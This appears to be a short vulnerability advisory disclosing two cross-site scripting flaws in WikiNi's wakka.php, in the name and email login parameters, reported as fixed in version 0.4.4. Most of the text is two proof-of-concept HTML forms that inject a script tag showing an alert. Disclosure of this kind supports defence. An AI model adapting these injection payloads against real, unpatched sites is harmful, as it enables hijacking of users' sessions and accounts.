Hi, I've found 2 XSS vulns in WikiNi. The programmers have been contacted and the vulns addressed in version 0.4.4. The name parameter of page wakka.php is not properly sanitized: <html> <body> <form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="name" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html> The email parameter of page wakka.php is not properly sanitized: <html> <body> <form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="email" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html> Original advisory: http://zone14.free.fr/advisories/6/ --Raphael HUCK
